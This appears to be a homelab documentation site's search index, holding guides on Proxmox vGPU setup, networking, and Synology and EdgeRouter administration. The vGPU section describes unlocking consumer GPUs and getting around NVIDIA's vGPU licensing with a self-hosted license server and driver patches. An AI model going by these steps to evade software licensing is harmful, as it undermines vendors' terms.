    If everything went right, you will be presented with this message.

    Installation of the NVIDIA Accelerated Graphics Driver for Linux-x86_64 (version: 535.129.03) is now complete.\n

    Click Ok to exit the installer.

    To finish the installation, reboot.

    reboot\n

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#finishing-touches", "title": "Finishing touches", "text": "

    Wait for your server to reboot, then type this into the shell to check if the driver install worked

    nvidia-smi\n

    You should get an output similar to this one

    Tue Jan 24 20:21:28 2023\n+-----------------------------------------------------------------------------+\n| NVIDIA-SMI 525.85.07    Driver Version: 525.85.07    CUDA Version: N/A      |\n|-------------------------------+----------------------+----------------------+\n| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |\n| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |\n|                               |                      |               MIG M. |\n|===============================+======================+======================|\n|   0  NVIDIA GeForce ...  On   | 00000000:01:00.0 Off |                  N/A |\n| 26%   33C    P8    43W / 260W |     85MiB / 11264MiB |      0%      Default |\n|                               |                      |                  N/A |\n+-------------------------------+----------------------+----------------------+\n\n+-----------------------------------------------------------------------------+\n| Processes:                                                                  |\n|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |\n|        ID   ID                                                   Usage      |\n|=============================================================================|\n|  No running processes found                                                 |\n+-----------------------------------------------------------------------------+\n

    To verify if the vGPU unlock worked, type this command

    mdevctl types\n

    The output will be similar to this

    0000:01:00.0\n  nvidia-256\n    Available instances: 24\n    Device API: vfio-pci\n    Name: GRID RTX6000-1Q\n    Description: num_heads=4, frl_config=60, framebuffer=1024M, max_resolution=5120x2880, max_instance=24\n  nvidia-257\n    Available instances: 12\n    Device API: vfio-pci\n    Name: GRID RTX6000-2Q\n    Description: num_heads=4, frl_config=60, framebuffer=2048M, max_resolution=7680x4320, max_instance=12\n  nvidia-258\n    Available instances: 8\n    Device API: vfio-pci\n    Name: GRID RTX6000-3Q\n    Description: num_heads=4, frl_config=60, framebuffer=3072M, max_resolution=7680x4320, max_instance=8\n---SNIP---\n

    If this command doesn't return any output, vGPU unlock isn't working.

    Another command you can try to see if your card is recognized as being vgpu enabled is this one:

    nvidia-smi vgpu\n

    If everything worked right with the unlock, the output should be similar to this:

    Tue Jan 24 20:21:43 2023\n+-----------------------------------------------------------------------------+\n| NVIDIA-SMI 525.85.07              Driver Version: 525.85.07                 |\n|---------------------------------+------------------------------+------------+\n| GPU  Name                       | Bus-Id                       | GPU-Util   |\n|      vGPU ID     Name           | VM ID     VM Name            | vGPU-Util  |\n|=================================+==============================+============|\n|   0  NVIDIA GeForce RTX 208...  | 00000000:01:00.0             |   0%       |\n+---------------------------------+------------------------------+------------+\n

    However, if you get this output, then something went wrong

    No supported devices in vGPU mode\n

    If any of those commands give the wrong output, you cannot continue. Please make sure to read everything here very carefully and when in doubt, create an issue or join the discord server and ask for help there.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#vgpu-overrides", "title": "vGPU overrides", "text": "

    Further up we have created the file /etc/vgpu_unlock/profile_override.toml and I didn't explain what it was for yet. Using that file you can override lots of parameters for your vGPU instances: For example you can change the maximum resolution, enable/disable the frame rate limiter, enable/disable support for CUDA or change the vram size of your virtual gpus.

    If we take a look at the output of mdevctl types we see lots of different types that we can choose from. However, if we for example chose GRID RTX6000-4Q which gives us 4GB of vram in a VM, we are locked to that type for all of our VMs. Meaning we can only have 4GB VMs, its not possible to mix different types to have one 4GB VM, and two 2GB VMs.

    All of that changes with the override config file. Technically we are still locked to only using one profile, but now its possible to change the vram of the profile on a VM basis so even though we have three GRID RTX6000-4Q instances, one VM can have 4GB or vram but we can override the vram size for the other two VMs to only 2GB.

    Lets take a look at this example config override file (its in TOML format)

    [profile.nvidia-259]\nnum_displays = 1          # Max number of virtual displays. Usually 1 if you want a simple remote gaming VM\ndisplay_width = 1920      # Maximum display width in the VM\ndisplay_height = 1080     # Maximum display height in the VM\nmax_pixels = 2073600      # This is the product of display_width and display_height so 1920 * 1080 = 2073600\ncuda_enabled = 1          # Enables CUDA support. Either 1 or 0 for enabled/disabled\nfrl_enabled = 1           # This controls the frame rate limiter, if you enable it your fps in the VM get locked to 60fps. Either 1 or 0 for enabled/disabled\nframebuffer = 0x74000000\nframebuffer_reservation = 0xC000000   # In combination with the framebuffer size\n# above, these two lines will give you a VM\n# with 2GB of VRAM (framebuffer + framebuffer_reservation = VRAM size in bytes).\n# See below for some other sizes\n\n[vm.100]\nfrl_enabled = 0\n# You can override all the options from above here too. If you want to add more overrides for a new VM, just copy this block and change the VM ID\n

    There are two blocks here, the first being [profile.nvidia-259] and the second [vm.100]. The first one applies the overrides to all VM instances of the nvidia-259 type (thats GRID RTX6000-4Q) and the second one applies its overrides only to one specific VM, that one with the proxmox VM ID 100.

    The proxmox VM ID is the same number that you see in the proxmox webinterface, next to the VM name.

    You don't have to specify all parameters, only the ones you need/want. There are some more that I didn't mention here, you can find them by going through the source code of the vgpu_unlock-rs repo.

    For a simple 1080p remote gaming VM I recommend going with something like this

    [profile.nvidia-259] # choose the profile you want here\nnum_displays = 1\ndisplay_width = 1920\ndisplay_height = 1080\nmax_pixels = 2073600\n

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#important-notes", "title": "Important notes", "text": "

    Q profiles can give you horrible performance in OpenGL applications/games. To fix that, switch to an equivalent A or B profile (for example GRID RTX6000-4B)

    C profiles (for example GRID RTX6000-4C) only work on Linux, don't try using those on Windows, it will not work - at all.

    A profiles (for example GRID RTX6000-4A) will NOT work on Linux, they only work on Windows.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#common-vram-sizes", "title": "Common VRAM sizes", "text": "

    Here are some common framebuffer sizes that you might want to use:

    • 512MB:
      framebuffer = 0x1A000000\nframebuffer_reservation = 0x6000000\n
    • 1GB:
      framebuffer = 0x38000000\nframebuffer_reservation = 0x8000000\n
    • 2GB:
      framebuffer = 0x74000000\nframebuffer_reservation = 0xC000000\n
    • 3GB:
      framebuffer = 0xB0000000\nframebuffer_reservation = 0x10000000\n
    • 4GB:
      framebuffer = 0xEC000000\nframebuffer_reservation = 0x14000000\n
    • 5GB:
      framebuffer = 0x128000000\nframebuffer_reservation = 0x18000000\n
    • 6GB:
      framebuffer = 0x164000000\nframebuffer_reservation = 0x1C000000\n
    • 8GB:
      framebuffer = 0x1DC000000\nframebuffer_reservation = 0x24000000\n
    • 10GB:
      framebuffer = 0x254000000\nframebuffer_reservation = 0x2C000000\n
    • 12GB:
      framebuffer = 0x2CC000000\nframebuffer_reservation = 0x34000000\n
    • 16GB:
      framebuffer = 0x3BC000000\nframebuffer_reservation = 0x44000000\n
    • 20GB:
      framebuffer = 0x4AC000000\nframebuffer_reservation = 0x54000000\n
    • 24GB:
      framebuffer = 0x59C000000\nframebuffer_reservation = 0x64000000\n
    • 32GB:
      framebuffer = 0x77C000000\nframebuffer_reservation = 0x84000000\n
    • 48GB:
      framebuffer = 0xB2D200000\nframebuffer_reservation = 0xD2E00000\n

    framebuffer and framebuffer_reservation will always equal the VRAM size in bytes when added together.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#adding-a-vgpu-to-a-proxmox-vm", "title": "Adding a vGPU to a Proxmox VM", "text": "

    Go to the proxmox webinterface, go to your VM, then to Hardware, then to Add and select PCI Device. You should be able to choose from a list of pci devices. Choose your GPU there, its entry should say Yes in the Mediated Devices column.

    Now you should be able to also select the MDev Type. Choose whatever profile you want, if you don't remember which one you want, you can see the list of all available types with mdevctl types.

    Finish by clicking Add, start the VM and install the required drivers. After installing the drivers you can shut the VM down and remove the virtual display adapter by selecting Display in the Hardware section and selecting none (none). ONLY do that if you have some other way to access the Virtual Machine like Parsec or Remote Desktop because the Proxmox Console won't work anymore.

    Enjoy your new vGPU VM :)

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#licensing", "title": "Licensing", "text": "

    Usually a license is required to use vGPU, but luckily the community found several ways around that. Spoofing the vGPU instance to a Quadro GPU used to be very popular, but I don't recommend it anymore. I've also removed the related sections from this guide. If you still want it for whatever reason, you can go back in the commit history to find the instructions on how to use that.

    The recommended way to get around the license is to set up your own license server. Follow the instructions here (or here if the other link is down).

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#common-problems", "title": "Common problems", "text": "

    Most problems can be solved by reading the instructions very carefully. For some very common problems, read here:

    • The nvidia driver won't install/load
    • If you were using gpu passthrough before, revert ALL of the steps you did or start with a fresh proxmox installation. If you run lspci -knnd 10de: and see vfio-pci under Kernel driver in use: then you have to fix that
    • Make sure that you are using a supported kernel version (check uname -a)
    • My OpenGL performance is absolute garbage, what can I do?
    • Read here
    • mdevctl types doesn't output anything, how to fix it?
    • Make sure that you don't have unlock disabled if you have a consumer gpu (more information)
    • vGPU doesn't work on my RTX 3080! What to do?
    • Learn to read
    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#support", "title": "Support", "text": "

    If something isn't working, please create an issue or join the Discord server and ask for help in the #proxmox-support channel so that the community can help you.

    When asking for help, please describe your problem in detail instead of just saying \"vgpu doesn't work\". Usually a rough overview over your system (gpu, mainboard, proxmox version, kernel version, ...) and full output of dmesg and/or journalctl --no-pager -b 0 -u nvidia-vgpu-mgr.service (\u2190 this only after starting the VM that causes trouble) is helpful. Please also provide the output of uname -a and cat /proc/cmdline

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#do-not-send-me-a-dm-im-not-your-personal-support", "title": "DO NOT SEND ME A DM, I'M NOT YOUR PERSONAL SUPPORT", "text": "", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#feed-my-coffee-addiction", "title": "Feed my coffee addiction \u2615", "text": "

    If you found this guide helpful and want to support me, please feel free to buy me a coffee. Thank you very much!

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#further-reading", "title": "Further reading", "text": "

    Thanks to all these people (in no particular order) for making this project possible - DualCoder for his original vgpu_unlock repo with the kernel hooks - mbilker for the rust version, vgpu_unlock-rs - KrutavShah for the wiki - HiFiPhile for the C version of vgpu unlock - rupansh for the original twelve.patch to patch the driver on kernels >= 5.12 - mbuchel#1878 on the GPU Unlocking discord for fourteen.patch to patch the driver on kernels >= 5.14 - erin-allison for the nvidia-smi wrapper script - LIL'pingu#9069 on the GPU Unlocking discord for his patch to nop out code that NVIDIA added to prevent usage of drivers with a version 460 - 470 with consumer cards

    If I forgot to mention someone, please create an issue or let me know otherwise.

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/vgpu-split-passthrough/#contributing", "title": "Contributing", "text": "

    Pull requests are welcome (factual errors, amendments, grammar/spelling mistakes etc).

    ", "tags": ["proxmox", "vgpu", "passthrough"]}, {"location": "infrastructure/proxmox/network/disable-ipv6/", "title": "Disable IPv6 on Proxmox Permanently", "text": "

    By default, Proxmox IPv6 is enabled after installation. This means that the IPv6 stack is active and the host can communicate with other hosts on the same network via IPv6 protocol.

    Output of ip addr command:

    You can disable IPv6 on Proxmox VE by editing the /etc/default/grub file.

    nano /etc/default/grub\n

    add ipv6.disable=1 to the end of GRUB_CMDLINE_LINUX_DEFAULT and GRUB_CMDLINE_LINUX line. Don't change the other values at those lines.

    GRUB_CMDLINE_LINUX_DEFAULT=\"ipv6.disable=1\"\nGRUB_CMDLINE_LINUX=\"ipv6.disable=1\"\n

    The config should look like this:

    Update the grub configuration.

    update-grub\n

    Save and exit. Reboot Proxmox Server to apply the changes.

    Output of ip addr command after disabling IPv6 on Proxmox VE:

    ", "tags": ["proxmox", "ipv6"]}, {"location": "infrastructure/proxmox/network/proxmox-networking/", "title": "Proxmox Networking", "text": "

    Official Proxmox networking documentation can be found here.

    ", "tags": ["proxmox", "network"]}, {"location": "infrastructure/proxmox/network/proxmox-networking/#basics", "title": "Basics", "text": "Proxmox network configuration file location
    /etc/network/interfaces\n
    Restart proxmox network service to apply changes
    systemctl restart networking.service\n
    ", "tags": ["proxmox", "network"]}, {"location": "infrastructure/proxmox/network/proxmox-networking/#example-of-multi-network-interface-server", "title": "Example of Multi Network Interface Server", "text": "

    The next examples will be based on the following network nics, ip addr output:

    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\nlink/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n    inet 127.0.0.1/8 scope host lo\n       valid_lft forever preferred_lft forever\n2: enp7s0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000\nlink/ether 18:c0:4d:00:9f:b7 brd ff:ff:ff:ff:ff:ff\n3: enp6s0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000\nlink/ether 18:c0:4d:00:9f:b9 brd ff:ff:ff:ff:ff:ff\n4: enp12s0f4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq master vmbr0 state UP group default qlen 1000\nlink/ether 00:07:43:29:42:c0 brd ff:ff:ff:ff:ff:ff\n5: enp12s0f4d1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000\nlink/ether 00:07:43:29:42:c8 brd ff:ff:ff:ff:ff:ff\n6: enp12s0f4d2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000\nlink/ether 00:07:43:29:42:d0 brd ff:ff:ff:ff:ff:ff\n7: enp12s0f4d3: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000\nlink/ether 00:07:43:29:42:d8 brd ff:ff:ff:ff:ff:ff\n8: wlp5s0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000\nlink/ether 8c:c6:81:f0:a6:9a brd ff:ff:ff:ff:ff:ff\n9: vmbr0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000\nlink/ether 00:07:43:29:42:c0 brd ff:ff:ff:ff:ff:ff\n    inet 192.168.100.12/24 scope global vmbr0\n       valid_lft forever preferred_lft forever\n

    In order Identify physical network interfaces corresponding to Network Interfaces name in Proxmox you can follow this guide

    Breakdown of the ip addr output:

    1. lo is a loopback interface.
    2. enp7s0 is a 2.5G network interface.
    3. enp6s0 is a 1G network interface.
    4. enp12s0f4 is a 10G network interface.
    5. enp12s0f4d1 is a 10G network interface.
    6. enp12s0f4d2 is a 10G network interface.
    7. enp12s0f4d3 is a 10G network interface.
    8. wlp5s0 is a Wifi network interface
    9. vmbr0 is a bridge interface.

    The content of the /etc/network/interfaces after fresh installation:

    auto lo\niface lo inet loopback\n\niface enp12s0f4 inet manual\n\nauto vmbr0\niface vmbr0 inet static\n    address 192.168.100.12/24\n    gateway 192.168.100.1\n    bridge-ports enp12s0f4\n    bridge-stp off\n    bridge-fd 0\n\niface enp7s0 inet manual\n\niface enp6s0 inet manual\n\niface enp12s0f4d1 inet manual\n\niface enp12s0f4d2 inet manual\n\niface enp12s0f4d3 inet manual\n\niface wlp5s0 inet manual\n

    Info

    vmbr0 is a bridge interface. It's used to provision network to virtual machines and containers on Proxmox VE Server. We can assign multiple network interfaces to the bridge interface with bridge-ports option.

    ", "tags": ["proxmox", "network"]}, {"location": "infrastructure/proxmox/network/proxmox-networking/#static-ip-bridge-configuration", "title": "Static IP Bridge Configuration", "text": "

    The following example shows a static IP configuration vmbr0 bridge interface, including two network interfaces enp12s0f4 and enp7s0.

    auto vmbr0\niface vmbr0 inet static\n           address 192.168.100.12/24\n           gateway 192.168.100.1\n           bridge-ports enp12s0f4 enp7s0\n           bridge-stp off\n           bridge-fd 0\n

    Configuring multi network interfaces to the bridge interface will provide you a failover behavior when the network interface is down or disconnected - for example, when specific switch is down.

    ", "tags": ["proxmox", "network"]}, {"location": "infrastructure/proxmox/network/proxmox-networking/#static-ip-bridge-with-vlan-aware-configuration", "title": "Static IP Bridge with VLAN Aware Configuration", "text": "

    The following example shows a static IP as above but with VLAN Aware bridge.

    auto vmbr0\niface vmbr0 inet static\n           address 192.168.100.12/24\n           gateway 192.168.100.1\n           bridge-ports enp12s0f4 enp7s0\n           bridge-stp off\n           bridge-fd 0\n           bridge-vlan-aware yes\n           bridge-vids 2-4094\n
    ", "tags": ["proxmox", "network"]}, {"location": "infrastructure/proxmox/network/proxmox-networking/#dhcp-bridge-configuration", "title": "DHCP Bridge Configuration", "text": "

    The following example shows a DHCP configuration vmbr0 bridge interface, including two network interfaces enp12s0f4 and enp7s0.

    auto vmbr0\niface vmbr0 inet dhcp\n           bridge-ports enp12s0f4 enp7s0\n           bridge-stp off\n           bridge-fd 0\n
    ", "tags": ["proxmox", "network"]}, {"location": "infrastructure/proxmox/network/proxmox-networking/#dhcp-bridge-with-vlan-aware-configuration", "title": "DHCP Bridge with VLAN Aware Configuration", "text": "

    The following example shows a DHCP as above but with VLAN Aware bridge.

    auto vmbr0\niface vmbr0 inet dhcp\n           bridge-ports enp12s0f4 enp7s0\n           bridge-stp off\n           bridge-fd 0\n           bridge-vlan-aware yes\n           bridge-vids 2-4094\n
    ", "tags": ["proxmox", "network"]}, {"location": "infrastructure/proxmox/network/proxmox-networking/#personal-network-configuration", "title": "Personal Network Configuration", "text": "

    Here's a sample of the /etc/network/interfaces file for a personal network:

    auto lo\niface lo inet loopback\n\nauto vmbr0\niface vmbr0 inet dhcp\n           bridge-ports enp12s0f4 enp12s0f4d1 enp12s0f4d2 enp12s0f4d3 enp7s0\n           bridge-stp off\n           bridge-fd 0\nbridge-vlan-aware yes\n           bridge-vids 2-4094\n\niface enp12s0f4 inet manual\n\niface enp12s0f4d1 inet manual\n\niface enp12s0f4d2 inet manual\n\niface enp12s0f4d3 inet manual\n\niface enp7s0 inet manual\n\niface enp6s0 inet manual\n\niface wlp5s0 inet manual\n
    ", "tags": ["proxmox", "network"]}, {"location": "infrastructure/synology/Install-oh-my-zsh/", "title": "How to install oh-my-zsh on Synology NAS", "text": "", "tags": ["synology", "oh-my-zsh"]}, {"location": "infrastructure/synology/Install-oh-my-zsh/#introduction", "title": "Introduction", "text": "

    The following steps will instruct you how to install oh-my-zsh on Synology DSM NAS.

    ", "tags": ["synology", "oh-my-zsh"]}, {"location": "infrastructure/synology/Install-oh-my-zsh/#whats-zsh", "title": "Whats' ZSH", "text": "

    Z-shell (Zsh) is a Unix shell that can be used as an interactive login shell and as a shell scripting command interpreter. Zsh is an enhanced Bourne shell with many enhancements, including some Bash, ksh and tcsh features.

    ", "tags": ["synology", "oh-my-zsh"]}, {"location": "infrastructure/synology/Install-oh-my-zsh/#whats-oh-my-zsh", "title": "What's Oh-My-Zsh", "text": "

    Oh My Zsh is an open source, community-driven framework for managing your zsh configuration.

    ", "tags": ["synology", "oh-my-zsh"]}, {"location": "infrastructure/synology/Install-oh-my-zsh/#community-packages-for-synology-dsm", "title": "Community Packages for Synology DSM", "text": "

    In order to install oh-my-zsh, we need to add 3rd party packages to Synology DSM. Synology Community Packages provides packages for Synology-branded NAS devices.

    DSM 6 and below:

    Log into your NAS as administrator and go to Main Menu \u2192 Package Center \u2192 Settings and set Trust Level to Synology Inc. and trusted publishers.

    In the Package Sources tab, click Add, type SynoCommunity as Name and https://packages.synocommunity.com/ as Location and then press OK to validate.

    Go back to the Package Center and enjoy SynoCommunity's packages in the Community tab.

    ", "tags": ["synology", "oh-my-zsh"]}, {"location": "infrastructure/synology/Install-oh-my-zsh/#install-z-shell-with-modules", "title": "Install Z shell (with modules)", "text": "

    Install Z shell (with modules) from package center Community tab.

    ", "tags": ["synology", "oh-my-zsh"]}, {"location": "infrastructure/synology/Install-oh-my-zsh/#install-git", "title": "Install Git", "text": "

    Install Git from package center Community tab.

    ", "tags": ["synology", "oh-my-zsh"]}, {"location": "infrastructure/synology/Install-oh-my-zsh/#change-the-default-shell-to-zsh", "title": "Change The Default Shell to ZSH", "text": "

    The following steps will be performed via SSH

    edit ~/.profile the file may be missing, so create it if it doesn't exist.

    vi ~/.profile\n

    Append the codes below to the end of the file or add if empty.

    if [[ -x /usr/local/bin/zsh ]]; then\nexport SHELL=/usr/local/bin/zsh\n  exec /usr/local/bin/zsh\nfi\n

    Open new SSH session to Synology NAS the shell should be zsh

    ", "tags": ["synology", "oh-my-zsh"]}, {"location": "infrastructure/synology/Install-oh-my-zsh/#install-oh-my-zsh", "title": "Install Oh My Zsh", "text": "

    From new SSH session with zsh shell, install Oh My Zsh with the one of following command:

    with curl:

    sh -c \"$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\n

    with wget:

    sh -c \"$(wget -O- https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\n

    At this point you should have a working oh-my-zsh working on your Synology NAS.

    ", "tags": ["synology", "oh-my-zsh"]}, {"location": "infrastructure/synology/Installing-vm-tools-on-virtual-machine/", "title": "Install VM Tools on Virtual Machine", "text": "

    On Debian:

    sudo add-apt-repository universe\nsudo apt-get install qemu-guest-agent\n

    On CentOS 7:

    yum install -y qemu-guest-agent\n

    On CentOS 8:

    dnf install -y qemu-guest-agent\n
    ", "tags": ["synology"]}, {"location": "infrastructure/synology/auto-dsm-config-backup/", "title": "Auto DSM Config Backup", "text": "

    Since synology's dms doesn't provide any auto-backup for it's configuration i've made a smile script that can be run at from the \"Task Scheduler\". The script invokes synoconfbkp cli command that will dump the config file to provided folder. I use dropbox's folder in my case (This will sync my files to DropBox account). It append a date and hostname. It also checks the same folder for files older of 60 days and deletes them so your storage won't be flooded with files from older than 2 month. I've scheduled the script to run ounces a day with the \"Task Scheduler\"

    To use it create new Task Scheduler choose a scheduler append the script to \"Run Command\" at \"Task Settings\" don't forget to change to destinations.

    synoconfbkp export --filepath=/volume1/activeShare/Dropbox/SettingsConfigs/synologyConfigBackup/$(hostname)_$(date +%y%m%d).dss && find /volume1/activeShare/Dropbox/SettingsConfigs/synologyConfigBackup -type f -mtime +60 -exec rm -f {} \\;\n
    ", "tags": ["synology"]}, {"location": "infrastructure/synology/disable-dms-listening-on-80-443-ports/", "title": "Free 80,443 Ports On Synology NAS (DSM)", "text": "

    Synology NAS (DSM) is a network storage device, with some additional features like native support for virtualization, and docker support. One of the issues is that the default ports 80 and 443 are used by the web server even if you change the default ports of the Synology's DSM to other ports. In some cases, you want to use these ports for other purposes, such as a reverse proxy as an entry point for the web services. The following steps will help you to free the default ports 80 and 443 on the Synology NAS (DSM) for other purposes.

    ", "tags": ["synology", "NAS", "ports"]}, {"location": "infrastructure/synology/disable-dms-listening-on-80-443-ports/#configure-the-synology-nas-dsm-to-listen-on-other-ports", "title": "Configure the Synology NAS (DSM) to Listen on Other Ports", "text": "

    First, you need to configure the Synology NAS (DSM) to listen on other ports then 80, 443.

    Login to the Synology NAS (DSM) as administrator user open Control Panel and find Login Portal under System

    Under DSM tab, change the DSM port (http) to a different port then 80, and the DSM port (https) to a different port then 443.

    Click Save to save the changes. Then, re-login to the Synology NAS (DSM) with the new port as administrator user as we did above.

    ", "tags": ["synology", "NAS", "ports"]}, {"location": "infrastructure/synology/disable-dms-listening-on-80-443-ports/#disable-the-synology-nas-dsm-to-listen-on-80-443-ports", "title": "Disable the Synology NAS (DSM) to Listen on 80, 443 Ports", "text": "

    Synology NAS (DSM) will listen on 80, 443 ports after each reboot. Therefore, the changes will be lost after each reboot. The workaround is to run the a script to free the ports 80, 443 on each time the Synology NAS (DSM) is boots.

    The following one liner will free the ports 80, 443 on Nginx web server of the Synology NAS (DSM), until the Synology NAS (DSM) is rebooted. It removes the port 80, 443 from the Nginx config and restarts the Nginx service.

    DSM 7.x.xDSM 6.x.x
    sed -i -e 's/80/81/' -e 's/443/444/' /usr/syno/share/nginx/server.mustache /usr/syno/share/nginx/DSM.mustache /usr/syno/share/nginx/WWWService.mustache\n\nsynosystemctl restart nginx\n
    sed -i -e 's/80/81/' -e 's/443/444/' /usr/syno/share/nginx/server.mustache /usr/syno/share/nginx/DSM.mustache /usr/syno/share/nginx/WWWService.mustache\n\nsynoservicecfg --restart nginx\n

    In order to persist the changes, we will create a Scheduled Task to run the above script on each reboot.

    Head to Control Panel and find Task Scheduler, then click Create and select Triggerd Task - User-defined script.

    At Create Task - General page, fill in the following information:

    Task: Disable_DSM_Listening_on_80_443 User: root Event: Boot-up Pre-taks: None Enabled: Yes

    At Task Settings tab, under Run command fill the User-defined script with the following depending on Synology NAS (DSM) version:

    DSM 7.x.xDSM 6.x.x
    sed -i -e 's/80/81/' -e 's/443/444/' /usr/syno/share/nginx/server.mustache /usr/syno/share/nginx/DSM.mustache /usr/syno/share/nginx/WWWService.mustache\n\nsynosystemctl restart nginx\n
    sed -i -e 's/80/81/' -e 's/443/444/' /usr/syno/share/nginx/server.mustache /usr/syno/share/nginx/DSM.mustache /usr/syno/share/nginx/WWWService.mustache\n\nsynoservicecfg --restart nginx\n

    Suggestion: Select the Notification when the task is terminated abnormally.

    Click OK. The new task should be created. You can check the task by clicking Run in the Task Scheduler page. Preferred to reboot the Synology NAS (DSM) to make sure the changes are applied at boot.

    ", "tags": ["synology", "NAS", "ports"]}, {"location": "infrastructure/synology/enable-ssh-root-login/", "title": "Enable Synology SSH Root Login", "text": "

    Synology DSM allows Linux experts to use the SSH terminal. By default you need to log in as a user and then enter \"sudo su root\" can be inconvenient, but there is the option of logging in as root directly.

    ", "tags": ["synology", "ssh"]}, {"location": "infrastructure/synology/enable-ssh-root-login/#section", "title": "Section", "text": "

    First, the DSM Control Panel is called up, Extended mode must be activated so that the required icon Terminal & SNMP appears. Under Terminal & SNMP the SSH-Service just can enable.

    Connect to Synology dns with your admin user and password. Change user to root with the command \"sudo su\" and enter the Admins's password. Set the root user password with the command below:

    sudo synouser -setpw root 'new_root_password'\n

    Edit the file /etc/ssh/sshd_config and change the line PermitRootLogin no to PermitRootLogin yes.

    sudo vi /etc/ssh/sshd_config\n

    Reboot the Synology NAS to apply the changes.

    ", "tags": ["synology", "ssh"]}, {"location": "infrastructure/synology/ssh-with-rsa-key/", "title": "Synology DSM - Allow Presistent SSH With RSA Keys", "text": "

    As a power user, i would like to be able to connect to my Synology DSM vis SSH. The issue is that Synology DSM won't allow you to use SSH with RSA keys out of the box and only allows you to use SSH with password. In order to allow the use of SSH keys we need to perform the following steps:

    ", "tags": ["synology", "dsm", "ssh", "rsa-keys"]}, {"location": "infrastructure/synology/ssh-with-rsa-key/#requirements", "title": "Requirements", "text": "

    I will assume you have already have SSH keys generated, SSH server configured on Synology DSM

    • Generated SSH keys
    • SSH server configured on Synology DSM
    ", "tags": ["synology", "dsm", "ssh", "rsa-keys"]}, {"location": "infrastructure/synology/ssh-with-rsa-key/#allow-user-home-at-dsm-level", "title": "Allow User Home at DSM Level", "text": "

    User Home enable to create a personal home folder for each user, except for guest. This will allow as to create user's .ssh folder and authorized_keys file.

    • Log into Synology web UI as an administrator user
    • Control Panel -> User & Groups -> Advanced, scroll down to \u201cUser Home\u201d
    • Check \u201cEnable user home service\u201d, select an appropriate Location (i.e. volume1)
    • Click \u201cApply\u201d

    ", "tags": ["synology", "dsm", "ssh", "rsa-keys"]}, {"location": "infrastructure/synology/ssh-with-rsa-key/#configure-ssh-folder-and-authorized_keys-file", "title": "Configure .ssh Folder and authorized_keys File", "text": "

    Log in to the NAS through SSH with the user you want to add key authorization for. The following example shows how to add will work for the active user in the SSH session.

    First change the permissins of the users home folder to 700

    sudo chmod 700 ~\n

    Create the .ssh folder and set permissions to 700

    mkdir ~/.ssh && chmod 700 ~/.ssh\n

    Create the authorized_keys file and set permissions to 644

    touch ~/.ssh/authorized_keys && chmod 644 ~/.ssh/authorized_keys\n

    Synology's DSM SSH server supports RSA and ed25519 keys.

    No you need to copy you public keys to authorized_keys file, you can do it manually or use the following command:

    echo <public-key-sting> >> ~/.ssh/authorized_keys\n

    You can do it automatically by using the following command from a client with the ssh key you want to add:

    ssh-copy-id -i ~/.ssh/id_rsa <user@ip-address>\n

    At this point you should be able to connect to Synology DSM via SSH using the key you just added.

    ", "tags": ["synology", "dsm", "ssh", "rsa-keys"]}, {"location": "infrastructure/ubiquiti/edge-router/", "title": "EdgeRouter", "text": "", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#clear-dns-forwarding-cache-via-ssh-call", "title": "Clear DNS Forwarding Cache via SSH Call", "text": "
    ssh user@192.168.1.1 'sudo /opt/vyatta/bin/sudo-users/vyatta-op-dns-forwarding.pl --clear-cache'\n
    ", "tags": ["ubiquiti", "edgerouter"]}, {"location": "infrastructure/ubiquiti/edge-router/#ssh-via-rsa-keys", "title": "SSH via RSA keys", "text": "

    SSH to the Edge Router: Copy the public key to /tmp folder

    Run:

    configure\nloadkey [your user] /tmp/id_rsa.pub\n

    Check that the keys are working by opening new session

    Disable Password Authentication

    set service ssh disable-password-authentication\ncommit ; save\n

    Done.

    Enable Password Authentication if needed.

    delete service ssh disable-password-authentication\n
